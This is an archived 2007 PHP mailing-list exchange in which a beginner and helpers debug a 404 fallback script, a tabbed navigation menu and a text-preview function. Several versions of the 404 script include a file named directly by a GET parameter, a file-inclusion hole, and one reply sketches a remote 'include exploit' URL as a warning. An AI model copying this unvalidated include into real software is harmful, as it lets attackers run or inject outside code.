Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
I have included some code but have to do it a little different because if 
the query construct. but this shows only the 404. is this correct?




"Davi" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
Em Sexta 30 Março 2007 14:01, Dwayne Heronimo escreveu:
> wierd.. your code is behaving exactly the same as mine did.
> it will display the error and the page.. but both at the same time :S
>
> it is working but somehow it continues to execute.
>
> http://arubaguide.org/arubaguide/categories.php?catcode=art
>
> http://arubaguide.org/arubaguide/categories.php?catcode=blabla
>

Well... Check some typing issue... =P
This code is working for me... =]

http://www.turbineseusite.com.br/index.php?cat=contate-nos
http://www.turbineseusite.com.br/index.php?cat=blablabla

[]s


-- 
Davi Vidal
[EMAIL PROTECTED]
[EMAIL PROTECTED]
--

Agora com fortune:
""It's not just a computer -- it's your ass."
-- Cal Keegan" 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
wierd.. your code is behaving exactly the same as mine did.
it will display the error and the page.. but both at the same time :S

it is working but somehow it continues to execute.

http://arubaguide.org/arubaguide/categories.php?catcode=art

http://arubaguide.org/arubaguide/categories.php?catcode=blabla



"Davi" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
Em Sexta 30 Março 2007 13:42, Dwayne Heronimo escreveu:
> Yes but this file does not exist. It is just to use for my queries. so I
> think I cannot use the file_exists function. Which other function I would
> use to do this?
> I already have setup the .htaccess file to point also to a 404 page. but
> this works only if the URL is totally wrong. like 
> www.arubaguide.org/blabla
> but not www.arubaguide.org/categories.php?catcode=blabla
>
>

Try something like that:




-- 
Davi Vidal
[EMAIL PROTECTED]
[EMAIL PROTECTED]
--

Agora com fortune:
"[Peter and his friends have formed a rock band and are performing at a
prison]
Peter Griffin:  [shouting into microphone] Hello, Cleveland!
Cleveland:  Hello, Peter.
Quagmire:  [clapping drum sticks together] One, two, three, *four*!
Peter Griffin:  [small amount of time passes] Oh, my God. We don't know any
songs. [prisoners get mad] " 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
Yes but this file does not exist. It is just to use for my queries. so I 
think I cannot use the file_exists function. Which other function I would 
use to do this?
I already have setup the .htaccess file to point also to a 404 page. but 
this works only if the URL is totally wrong. like www.arubaguide.org/blabla
but not www.arubaguide.org/categories.php?catcode=blabla


"Davi" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
Em Sexta 30 Março 2007 13:17, Dwayne Heronimo escreveu:
> where getting there .. now i have this.. but now it will only show the 404
> page. I think somehow that the firstpart is not working? the include part?
> http://arubaguide.org/arubaguide/categories.php?catcode=activities
>
>
> 
>
> 
> $cat_item = $_GET['catcode'];
>  if(file_exists($cat_item)) {
>   include "$cat_item";
>  }
>   else {
>   include "404.php";
>   exit;
> }
>

include exploit:

arq_inc.htm:


window.location="www.mypage.com";


then:

www.yourpage.com/script.php?catcode=http://www.mypage.com/arc_inc.htm


o/


-- 
Davi Vidal
[EMAIL PROTECTED]
[EMAIL PROTECTED]
--

Agora com fortune:
""The government is not the surplus's money, Vice President."

George W. Bush
November 5, 2000
>From The Washington Post." 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
where getting there .. now i have this.. but now it will only show the 404 
page. I think somehow that the firstpart is not working? the include part?
http://arubaguide.org/arubaguide/categories.php?catcode=activities




 wrote in message 
news:[EMAIL PROTECTED]
> 2007. 03. 30, péntek keltezéssel 17.30-kor Dwayne Heronimo ezt írta:
>> I tried every thing. But it works in a way. Because if I issue:
>> http://arubaguide.org/arubaguide/categories.php?catcode=dghdfg
>>
>> it will display the 404 page but it all also continue to display the 
>> rest.
>>
>> And if you issue:
>> http://arubaguide.org/arubaguide/categories.php?catcode=activities
>> It will display also both. so the script is working but it is not 
>> stopping.
>>
>> Here is the complete code. This is the complete code just before the html
>> tag.
>>
>>
>> 
>>
>> >
>> $cat_item = $_GET['catcode'];
>> if(file_exists($cat_item)) {
>>  include "$cat_item";
>> } else {
>>  include "404.php";
>> }
>>
>
> and that's exactly what I said. you display the 404 then continue
> execution and the rest of your code displays some page.
> you should have nothing executing after the error message.
> like this:
>
> $cat_item = $_GET['catcode'];
> if(file_exists($cat_item)) {
> include "$cat_item";
> } else {
> include "404.php";
> exit;
> }
>
> greets
> Zoltán Németh
>
>> if (!function_exists("GetSQLValueString")) {
>> function GetSQLValueString($theValue, $theType, $theDefinedValue = "",
>> $theNotDefinedValue = "")
>> {
>>   $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : 
>> $theValue;
>>
>>   $theValue = function_exists("mysql_real_escape_string") ?
>> mysql_real_escape_string($theValue) : mysql_escape_string($theValue);
>>
>>   switch ($theType) {
>> case "text":
>>   $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
>>   break;
>> case "long":
>> case "int":
>>   $theValue = ($theValue != "") ? intval($theValue) : "NULL";
>>   break;
>> case "double":
>>   $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" :
>> "NULL";
>>   break;
>> case "date":
>>   $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
>>   break;
>> case "defined":
>>   $theValue = ($theValue != "") ? $theDefinedValue :
>> $theNotDefinedValue;
>>   break;
>>   }
>>   return $theValue;
>> }
>> }
>>
>> $colname_show_cat = "-1";
>> if (isset($_GET['catcode'])) {
>>   $colname_show_cat = (get_magic_quotes_gpc()) ? $_GET['catcode'] :
>> addslashes($_GET['catcode']);
>> }
>> mysql_select_db($database_arubaguide, $arubaguide);
>> $query_show_cat = sprintf("SELECT id, catcode, category_name, name, text,
>> slogan, main_img FROM items WHERE catcode = %s ORDER BY name ASC",
>> GetSQLValueString($colname_show_cat, "text"));
>> $show_cat = mysql_query($query_show_cat, $arubaguide) or 
>> die(mysql_error());
>> $row_show_cat = mysql_fetch_assoc($show_cat);
>> $totalRows_show_cat = mysql_num_rows($show_cat);
>> ?>
>>
>> >  function previewString($showcatvar) {
>>
>>  $minitxt = $showcatvar;
>>  $len = strlen($minitxt);
>>
>>  if ($len > 135)
>>  {
>>   $len = 135;
>>  }
>>  else
>>  {
>>   $len = $len;
>>  }
>>
>>  $newstring = substr($minitxt,0,$len).' ...';
>>
>>  $previewtext = $newstring;
>>
>>  return $previewtext;
>> }
>> ?>
>>
>>
>>
>>
>>
>>
>> ""Zoltn Nmeth"" <[EMAIL PROTECTED]> wrote in message
>> news:[EMAIL PROTECTED]
>> > 2007. 03. 30, pntek keltezssel 15.56-kor Dwayne Heronimo ezt rta:
>> >> When I echo the $pagename it returns the correct string. I also tried 
>> >> to
>> >> rename the $pagename to something I am sure that wouldn't come up in
>> >> other
>> >> scripts.
>> >> One thing that is coming up in other scripts is the $_GET['catcode']
>> >> because
>

Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
I tried every thing. But it works in a way. Because if I issue:
http://arubaguide.org/arubaguide/categories.php?catcode=dghdfg

it will display the 404 page but it all also continue to display the rest.

And if you issue:
http://arubaguide.org/arubaguide/categories.php?catcode=activities
It will display also both. so the script is working but it is not stopping.

Here is the complete code. This is the complete code just before the html 
tag.






 135)
 {
  $len = 135;
 }
 else
 {
  $len = $len;
 }

 $newstring = substr($minitxt,0,$len).' ...';

 $previewtext = $newstring;

 return $previewtext;
}
?>






""Zoltán Németh"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> 2007. 03. 30, péntek keltezéssel 15.56-kor Dwayne Heronimo ezt írta:
>> When I echo the $pagename it returns the correct string. I also tried to
>> rename the $pagename to something I am sure that wouldn't come up in 
>> other
>> scripts.
>> One thing that is coming up in other scripts is the $_GET['catcode'] 
>> because
>> I am using queries with this to show the categories.
>
> where did you put that echo? you should put it right before the
> if (file_exists("$pagename"))
> row
> btw, if you pass only the variable, you don't need those quotes around
> it - they only consume resources in this case. so:
> if (file_exists($pagename))
>
> but I must admit I have no more ideas. if $pagename is correct right
> before the if, and still both the if part and the else part gets
> executed thats beyond my knowledge...
>
> one more thought: do you have any kind of code after this if?
> maybe you just forget that you include some displaying part after it and
> that's making the confusion...
>
> greets
> Zoltán Németh
>
>>
>> wierd i tried renaming the
>> ""Zoltn Nmeth"" <[EMAIL PROTECTED]> wrote in message
>> news:[EMAIL PROTECTED]
>> > well, I don't know what may be wrong...
>> > try echoing out $pagename
>> > and is your script only this? or are there other parts? if so, those
>> > other parts might be screwing things up...
>> >
>> > greets
>> > Zoltn Nmeth
>> >
>> > 2007. 03. 30, pntek keltezssel 15.36-kor Dwayne Heronimo ezt rta:
>> >> hey zoltan,
>> >>
>> >> I used your code but this still is displaying both the 404 and the 
>> >> normal
>> >> page:
>> >>
>> >> http://arubaguide.org/arubaguide/categories.php?catcode=activities
>> >>
>> >>
>> >> > >> $pagename = $_GET['catcode'];
>> >> if(file_exists("$pagename")) {
>> >>  include "$pagename";
>> >> } else {
>> >>  include "404.php";
>> >> }
>> >> ?>
>> >>
>> >>
>> >>
>> >> ""Zoltn Nmeth"" <[EMAIL PROTECTED]> wrote in message
>> >> news:[EMAIL PROTECTED]
>> >> > 2007. 03. 30, pntek keltezssel 15.10-kor Dwayne Heronimo ezt rta:
>> >> >> indeed.. it should be catcode instead of page.:-(. but still its 
>> >> >> not
>> >> >> working
>> >> >> :S
>> >> >>
>> >> >>
>> >> >>
>> >> >> > >> >>
>> >> >> /* function to get an external file into a vatiable */
>> >> >> function get_include_contents($filename) {
>> >> >>if (is_file($filename)) {
>> >> >>ob_start();
>> >> >>include $filename;
>> >> >>$contents = ob_get_contents();
>> >> >>ob_end_clean();
>> >> >>return $contents;
>> >> >>}
>> >> >>return false;
>> >> >> }
>> >> >>
>> >> >> /* configuration file */
>> >> >>
>> >> >>  $errormsg = get_include_contents('404.php');
>> >> >>  $pagename = $_GET['catcode'];
>> >> >>
>> >> >> /* end configuration file */
>> >> >>
>> >> >> if(file_exists("$pagename"))
>> >> >> {
>> >> >>  include "$pagename";
>> >> >> }
>> >> >> else
>> >> >> {
>> >> >> echo "$errormsg";
>> &g

Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
When I echo the $pagename it returns the correct string. I also tried to 
rename the $pagename to something I am sure that wouldn't come up in other 
scripts.
One thing that is coming up in other scripts is the $_GET['catcode'] because 
I am using queries with this to show the categories.

wierd i tried renaming the
""Zoltán Németh"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> well, I don't know what may be wrong...
> try echoing out $pagename
> and is your script only this? or are there other parts? if so, those
> other parts might be screwing things up...
>
> greets
> Zoltán Németh
>
> 2007. 03. 30, péntek keltezéssel 15.36-kor Dwayne Heronimo ezt írta:
>> hey zoltan,
>>
>> I used your code but this still is displaying both the 404 and the normal
>> page:
>>
>> http://arubaguide.org/arubaguide/categories.php?catcode=activities
>>
>>
>> > $pagename = $_GET['catcode'];
>> if(file_exists("$pagename")) {
>>  include "$pagename";
>> } else {
>>  include "404.php";
>> }
>> ?>
>>
>>
>>
>> ""Zoltn Nmeth"" <[EMAIL PROTECTED]> wrote in message
>> news:[EMAIL PROTECTED]
>> > 2007. 03. 30, pntek keltezssel 15.10-kor Dwayne Heronimo ezt rta:
>> >> indeed.. it should be catcode instead of page.:-(. but still its not
>> >> working
>> >> :S
>> >>
>> >>
>> >>
>> >> > >>
>> >> /* function to get an external file into a vatiable */
>> >> function get_include_contents($filename) {
>> >>if (is_file($filename)) {
>> >>ob_start();
>> >>include $filename;
>> >>$contents = ob_get_contents();
>> >>ob_end_clean();
>> >>return $contents;
>> >>}
>> >>return false;
>> >> }
>> >>
>> >> /* configuration file */
>> >>
>> >>  $errormsg = get_include_contents('404.php');
>> >>  $pagename = $_GET['catcode'];
>> >>
>> >> /* end configuration file */
>> >>
>> >> if(file_exists("$pagename"))
>> >> {
>> >>  include "$pagename";
>> >> }
>> >> else
>> >> {
>> >> echo "$errormsg";
>> >> }
>> >> ?>
>> >>
>> >
>> > actually I don't know what the problem is, but I would do it in a much
>> > shorter way:
>> >
>> > $pagename = $_GET['catcode'];
>> > if(file_exists("$pagename")) {
>> > include "$pagename";
>> > } else {
>> > include "404.php";
>> > }
>> >
>> > about your original question, the script looks basically okay... what 
>> > is
>> > the error you get?
>> >
>> > greets
>> > Zoltn Nmeth
>> >
>> >>
>> >>
>> >> ""Zoltn Nmeth"" <[EMAIL PROTECTED]> wrote in message
>> >> news:[EMAIL PROTECTED]
>> >> > 2007. 03. 30, pntek keltezssel 14.45-kor Dwayne Heronimo ezt rta:
>> >> >> Dear All,
>> >> >>
>> >> >> I have made a simple php script that will show an 404.php error 
>> >> >> page
>> >> >> when
>> >> >> an
>> >> >> item is removed.
>> >> >>
>> >> >> You can see the page here:
>> >> >> http://arubaguide.org/arubaguide/categories.php?catcode=art
>> >> >>
>> >> >> But some how this is not working. It is displaying the 404 page and
>> >> >> the
>> >> >> normal page.
>> >> >
>> >> > in the above link you do not give a "page" parameter at all... so 
>> >> > from
>> >> > where should the script get it?
>> >> >
>> >> > greets
>> >> > Zoltn Nmeth
>> >> >
>> >> >>
>> >> >>
>> >> >> > >> >>
>> >> >> /* function to get an external file into a vatiable */
>> >> >> function get_include_contents($filename) {
>> >> >>if (is_file($filename)) {
>> >> >>ob_start();
>> >> >>include $filename;
>> >> >>$contents = ob_get_contents();
>> >> >>ob_end_clean();
>> >> >>return $contents;
>> >> >>}
>> >> >>return false;
>> >> >> }
>> >> >>
>> >> >> /* configuration file */
>> >> >>
>> >> >>  $errormsg = get_include_contents('404.php');
>> >> >>  $pagename = $_GET['page'];
>> >> >>
>> >> >> /* end configuration file */
>> >> >>
>> >> >> if(file_exists("$pagename"))
>> >> >> {
>> >> >>  include "$pagename";
>> >> >> }
>> >> >> else
>> >> >> {
>> >> >> echo "$errormsg";
>> >> >> }
>> >> >> ?>
>> >> >>
>> >> >> is the $pagename not enough for this script?
>> >> >>
>> >> >> Let me know..
>> >> >>
>> >> >> Dwayne
>> >> >>
>> >>
>> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
hey zoltan,

I used your code but this still is displaying both the 404 and the normal 
page:

http://arubaguide.org/arubaguide/categories.php?catcode=activities






""Zoltán Németh"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> 2007. 03. 30, péntek keltezéssel 15.10-kor Dwayne Heronimo ezt írta:
>> indeed.. it should be catcode instead of page.:-(. but still its not 
>> working
>> :S
>>
>>
>>
>> >
>> /* function to get an external file into a vatiable */
>> function get_include_contents($filename) {
>>if (is_file($filename)) {
>>ob_start();
>>include $filename;
>>$contents = ob_get_contents();
>>ob_end_clean();
>>return $contents;
>>}
>>return false;
>> }
>>
>> /* configuration file */
>>
>>  $errormsg = get_include_contents('404.php');
>>  $pagename = $_GET['catcode'];
>>
>> /* end configuration file */
>>
>> if(file_exists("$pagename"))
>> {
>>  include "$pagename";
>> }
>> else
>> {
>> echo "$errormsg";
>> }
>> ?>
>>
>
> actually I don't know what the problem is, but I would do it in a much
> shorter way:
>
> $pagename = $_GET['catcode'];
> if(file_exists("$pagename")) {
> include "$pagename";
> } else {
> include "404.php";
> }
>
> about your original question, the script looks basically okay... what is
> the error you get?
>
> greets
> Zoltán Németh
>
>>
>>
>> ""Zoltn Nmeth"" <[EMAIL PROTECTED]> wrote in message
>> news:[EMAIL PROTECTED]
>> > 2007. 03. 30, pntek keltezssel 14.45-kor Dwayne Heronimo ezt rta:
>> >> Dear All,
>> >>
>> >> I have made a simple php script that will show an 404.php error page 
>> >> when
>> >> an
>> >> item is removed.
>> >>
>> >> You can see the page here:
>> >> http://arubaguide.org/arubaguide/categories.php?catcode=art
>> >>
>> >> But some how this is not working. It is displaying the 404 page and 
>> >> the
>> >> normal page.
>> >
>> > in the above link you do not give a "page" parameter at all... so from
>> > where should the script get it?
>> >
>> > greets
>> > Zoltn Nmeth
>> >
>> >>
>> >>
>> >> > >>
>> >> /* function to get an external file into a vatiable */
>> >> function get_include_contents($filename) {
>> >>if (is_file($filename)) {
>> >>ob_start();
>> >>include $filename;
>> >>$contents = ob_get_contents();
>> >>ob_end_clean();
>> >>return $contents;
>> >>}
>> >>return false;
>> >> }
>> >>
>> >> /* configuration file */
>> >>
>> >>  $errormsg = get_include_contents('404.php');
>> >>  $pagename = $_GET['page'];
>> >>
>> >> /* end configuration file */
>> >>
>> >> if(file_exists("$pagename"))
>> >> {
>> >>  include "$pagename";
>> >> }
>> >> else
>> >> {
>> >> echo "$errormsg";
>> >> }
>> >> ?>
>> >>
>> >> is the $pagename not enough for this script?
>> >>
>> >> Let me know..
>> >>
>> >> Dwayne
>> >>
>> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo


yes the index.php?page=gsfgsfg  is working fine. But is it only when you 
want to use the categories.php?catcode=asdfad

It is now displaying both the 404 and the normal page.

""Tom Chubb"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
I think I'm missing something, but this works:

http://arubaguide.org/arubaguide/index.php?page=advertise

and if I put in a type such as:

http://arubaguide.org/arubaguide/index.php?page=advertisd

I get the 404 error page.
I think the problem with using $_GET[catcode]???


On 30/03/07, Dwayne Heronimo <[EMAIL PROTECTED]> wrote:
>
>
> indeed.. it should be catcode instead of page.:-(. but still its not
> working
> :S
>
>
>
> 
> /* function to get an external file into a vatiable */
> function get_include_contents($filename) {
>   if (is_file($filename)) {
>   ob_start();
>   include $filename;
>   $contents = ob_get_contents();
>   ob_end_clean();
>   return $contents;
>   }
>   return false;
> }
>
> /* configuration file */
>
> $errormsg = get_include_contents('404.php');
> $pagename = $_GET['catcode'];
>
> /* end configuration file */
>
> if(file_exists("$pagename"))
> {
> include "$pagename";
> }
> else
> {
> echo "$errormsg";
> }
> ?>
>
>
>
> ""Zoltán Németh"" <[EMAIL PROTECTED]> wrote in message
> news:[EMAIL PROTECTED]
> > 2007. 03. 30, péntek keltezéssel 14.45-kor Dwayne Heronimo ezt írta:
> >> Dear All,
> >>
> >> I have made a simple php script that will show an 404.php error page
> when
> >> an
> >> item is removed.
> >>
> >> You can see the page here:
> >> http://arubaguide.org/arubaguide/categories.php?catcode=art
> >>
> >> But some how this is not working. It is displaying the 404 page and the
> >> normal page.
> >
> > in the above link you do not give a "page" parameter at all... so from
> > where should the script get it?
> >
> > greets
> > Zoltán Németh
> >
> >>
> >>
> >>  >>
> >> /* function to get an external file into a vatiable */
> >> function get_include_contents($filename) {
> >>if (is_file($filename)) {
> >>ob_start();
> >>include $filename;
> >>$contents = ob_get_contents();
> >>ob_end_clean();
> >>return $contents;
> >>}
> >>return false;
> >> }
> >>
> >> /* configuration file */
> >>
> >>  $errormsg = get_include_contents('404.php');
> >>  $pagename = $_GET['page'];
> >>
> >> /* end configuration file */
> >>
> >> if(file_exists("$pagename"))
> >> {
> >>  include "$pagename";
> >> }
> >> else
> >> {
> >> echo "$errormsg";
> >> }
> >> ?>
> >>
> >> is the $pagename not enough for this script?
> >>
> >> Let me know..
> >>
> >> Dwayne
> >>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] tabbed navegation PHP

2007-03-30 Thread Dwayne Heronimo
you are right.. i still need to learn alot.. ;) this is my first php site. 
:-(


""Zoltán Németh"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> 2007. 03. 30, péntek keltezéssel 15.05-kor Dwayne Heronimo ezt írta:
>> Dear All,
>>
>> I have made a tabbed navegation with CSS. And if you set class="active" 
>> to
>> one of the tabs, it will then be highlighted.
>> So I thought to make this dymamic with PHP. Using the $_GET variable I 
>> can
>> get the page name above with something like. $page_name = $_GET['page'] ;
>> so I can tell the class when to be active to what page.
>>
>> Should I use the isset function for this? I am very new to PHP but here 
>> is
>> my try, but of course its not working:
>>
>> > if (isset ($_GET['page'])) {
>>
>>  $page_name = $_GET['page'] ;
>>
>>   if ($page_name = "default") {
>>$flg_page_default=1;
>>   }
>>   if ($page_name = "about") {
>>$flg_page_about=1;
>>   }
>>
>> }
>> ?>
>
> I think you should read
>
> http://www.php.net/manual/en/language.operators.php
>
> carefully. with the
>
> if ($page_name = "default)
>
> statement you assign the value "default" to $page_name, not checking
> equality. that could be done by ==
>
>
> greets
> Zoltán Németh
>
>>
>>
>>
>> > '';
>> ?> href="index.php?page=default">home
>> > ?>
>> href="index.php?page=default">about
>>
>>
>> Of should I stick to just static html :(
>>
>> Dwayne
>> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo

indeed.. it should be catcode instead of page.:-(. but still its not working 
:S







""Zoltán Németh"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> 2007. 03. 30, péntek keltezéssel 14.45-kor Dwayne Heronimo ezt írta:
>> Dear All,
>>
>> I have made a simple php script that will show an 404.php error page when 
>> an
>> item is removed.
>>
>> You can see the page here:
>> http://arubaguide.org/arubaguide/categories.php?catcode=art
>>
>> But some how this is not working. It is displaying the 404 page and the
>> normal page.
>
> in the above link you do not give a "page" parameter at all... so from
> where should the script get it?
>
> greets
> Zoltán Németh
>
>>
>>
>> >
>> /* function to get an external file into a vatiable */
>> function get_include_contents($filename) {
>>if (is_file($filename)) {
>>ob_start();
>>include $filename;
>>$contents = ob_get_contents();
>>ob_end_clean();
>>return $contents;
>>}
>>return false;
>> }
>>
>> /* configuration file */
>>
>>  $errormsg = get_include_contents('404.php');
>>  $pagename = $_GET['page'];
>>
>> /* end configuration file */
>>
>> if(file_exists("$pagename"))
>> {
>>  include "$pagename";
>> }
>> else
>> {
>> echo "$errormsg";
>> }
>> ?>
>>
>> is the $pagename not enough for this script?
>>
>> Let me know..
>>
>> Dwayne
>> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] tabbed navegation PHP

2007-03-30 Thread Dwayne Heronimo
Dear All,

I have made a tabbed navegation with CSS. And if you set class="active" to 
one of the tabs, it will then be highlighted.
So I thought to make this dymamic with PHP. Using the $_GET variable I can 
get the page name above with something like. $page_name = $_GET['page'] ;
so I can tell the class when to be active to what page.

Should I use the isset function for this? I am very new to PHP but here is 
my try, but of course its not working:





 href="index.php?page=default">home
 
href="index.php?page=default">about


Of should I stick to just static html :(

Dwayne 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] simple page not found 404 script - PHP

2007-03-30 Thread Dwayne Heronimo
Dear All,

I have made a simple php script that will show an 404.php error page when an 
item is removed.

You can see the page here:
http://arubaguide.org/arubaguide/categories.php?catcode=art

But some how this is not working. It is displaying the 404 page and the 
normal page.




is the $pagename not enough for this script?

Let me know..

Dwayne 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preview string with strlen PHP (help)

2007-03-23 Thread Dwayne Heronimo
YES this works thank nemeth:

 235)
 {
  $len = 235;
 }
 else
 {
  $len = $len;
 }

 $newstring = substr($minitxt,0,$len);

 $previewtext = $newstring;

 return $previewtext;
}
?>

and to display it:



cheers

Dwayne




""Németh Zoltán"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> 2007. 03. 23, péntek keltezéssel 16.55-kor Dwayne Heronimo ezt írta:
>> Dear all,
>>
>> hmm.. sorry the $previewstext thing was a typo in my mail.
>>
>> But yes it is working but it will only display the first record of the
>> recordset. I have like a list for items with short text in a page and of
>> course made a query to make the database variables available. Which where
>> the variable $row_show_cat['text']; comes from.
>>
>> This is why I thought that i may have to rewrite it into a function to
>> display the $row_show_cat['text']; in a repeated reagion.
>>
>>
>> I have rewritten my function:
>>
>> >  function previewString($showcatvar) {
>>
>>  $minitxt = $showcatvar;
>>  $len = strlen($minitxt);
>>
>>  if ($len > 235)
>>  {
>>   $len = 235;
>>  }
>>  else
>>  {
>>   $len = $len;
>>  }
>>
>>  $newstring = substr($minitxt,0,$len);
>>
>>  $previewtext = $newstring;
>>
>>  $previewtext = $whowcatvar;
>
> what is the meaning of the above line???
> you are giving an undefined value (default NULL) to $previewtext, just
> after you gave it the right value
> delete that line and you might be well
>
> greets
> Zoltán Németh
>
>>
>>  return $previewtext;
>> }
>> ?>
>>
>> And to to show it later in the page:
>> 
>> but this still won't anywould display anything. :S
>>
>> Please let me know.
>>
>> ""Tijnema !"" <[EMAIL PROTECTED]> wrote in message
>> news:[EMAIL PROTECTED]
>> > On 3/23/07, Dwayne Heronimo <[EMAIL PROTECTED]> wrote:
>> >> Dear All,
>> >>
>> >> I am very new to programming. I want to make a preview text that would
>> >> display only a part of the text that is a text field in a database.
>> >>
>> >> //Begin Make preview string
>> >>
>> >>  $minitxt = $row_show_cat['text'];
>> >>  $len = strlen($minitxt);
>> >>
>> >>  if ($len > 235)
>> >>  {
>> >>  $len = 235;
>> >>  }
>> >>  else
>> >>  {
>> >>  $len = $len;
>> >>  }
>> >>
>> >>  $newstring = substr($minitxt,0,$len);
>> >>
>> >>  $previewtext = $newstring;
>> >>
>> >> //End Make preview string
>> >>
>> >> But if I want to display this somewhere in the page it will only 
>> >> display
>> >> the
>> >> first record of at every text column row 
>> >>
>> >> Althought I am very new to php and programming. I thought maybe I 
>> >> should
>> >> rewrite it into a function. But my function won't work.
>> >>
>> >>
>> >> function previewString($showcatvar) {
>> >>
>> >>  $minitxt = $showcatvar;
>> >>  $len = strlen($minitxt);
>> >>
>> >>  if ($len > 235)
>> >>  {
>> >>  $len = 235;
>> >>  }
>> >>  else
>> >>  {
>> >>  $len = $len;
>> >>  }
>> >>
>> >>  $newstring = substr($minitxt,0,$len);
>> >>
>> >>  $previewtext = $newstring;
>> >>
>> >>  $previewtext = $whowcatvar;
>> >>
>> >> }
>> >>
>> >>
>> >> and to display it in the page:
>> >>
>> >> 
>> >>
>> >> IT displays notthing. But I think I am doing somthing wrong. I am
>> >> assigning
>> >> the wrong variables to the $row_show_cat['text']) ???
>> >>
>> >> Please let me know
>> >
>> > I'm currently not sure why your first piece of code isn't working, but
>> > the second is quite simple. You aren't returning any variable in your
>> > function, and so it won't output anything. Add the following:
>> > return $previewtext;
>> > Just before the }
>> >
>> > Then it will return something, but i think not what you wanted to :(
>> >
>> > Tijnema
>> >>
>> >> --
>> >> PHP General Mailing List (http://www.php.net/)
>> >> To unsubscribe, visit: http://www.php.net/unsub.php
>> >>
>> >>
>> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] preview string with strlen PHP (help)

2007-03-23 Thread Dwayne Heronimo
Dear all,

hmm.. sorry the $previewstext thing was a typo in my mail.

But yes it is working but it will only display the first record of the 
recordset. I have like a list for items with short text in a page and of 
course made a query to make the database variables available. Which where 
the variable $row_show_cat['text']; comes from.

This is why I thought that i may have to rewrite it into a function to 
display the $row_show_cat['text']; in a repeated reagion.


I have rewritten my function:

 235)
 {
  $len = 235;
 }
 else
 {
  $len = $len;
 }

 $newstring = substr($minitxt,0,$len);

 $previewtext = $newstring;

 $previewtext = $whowcatvar;

 return $previewtext;
}
?>

And to to show it later in the page:

but this still won't anywould display anything. :S

Please let me know.

""Tijnema !"" <[EMAIL PROTECTED]> wrote in message 
news:[EMAIL PROTECTED]
> On 3/23/07, Dwayne Heronimo <[EMAIL PROTECTED]> wrote:
>> Dear All,
>>
>> I am very new to programming. I want to make a preview text that would
>> display only a part of the text that is a text field in a database.
>>
>> //Begin Make preview string
>>
>>  $minitxt = $row_show_cat['text'];
>>  $len = strlen($minitxt);
>>
>>  if ($len > 235)
>>  {
>>  $len = 235;
>>  }
>>  else
>>  {
>>  $len = $len;
>>  }
>>
>>  $newstring = substr($minitxt,0,$len);
>>
>>  $previewtext = $newstring;
>>
>> //End Make preview string
>>
>> But if I want to display this somewhere in the page it will only display 
>> the
>> first record of at every text column row 
>>
>> Althought I am very new to php and programming. I thought maybe I should
>> rewrite it into a function. But my function won't work.
>>
>>
>> function previewString($showcatvar) {
>>
>>  $minitxt = $showcatvar;
>>  $len = strlen($minitxt);
>>
>>  if ($len > 235)
>>  {
>>  $len = 235;
>>  }
>>  else
>>  {
>>  $len = $len;
>>  }
>>
>>  $newstring = substr($minitxt,0,$len);
>>
>>  $previewtext = $newstring;
>>
>>  $previewtext = $whowcatvar;
>>
>> }
>>
>>
>> and to display it in the page:
>>
>> 
>>
>> IT displays notthing. But I think I am doing somthing wrong. I am 
>> assigning
>> the wrong variables to the $row_show_cat['text']) ???
>>
>> Please let me know
>
> I'm currently not sure why your first piece of code isn't working, but
> the second is quite simple. You aren't returning any variable in your
> function, and so it won't output anything. Add the following:
> return $previewtext;
> Just before the }
>
> Then it will return something, but i think not what you wanted to :(
>
> Tijnema
>>
>> --
>> PHP General Mailing List (http://www.php.net/)
>> To unsubscribe, visit: http://www.php.net/unsub.php
>>
>> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



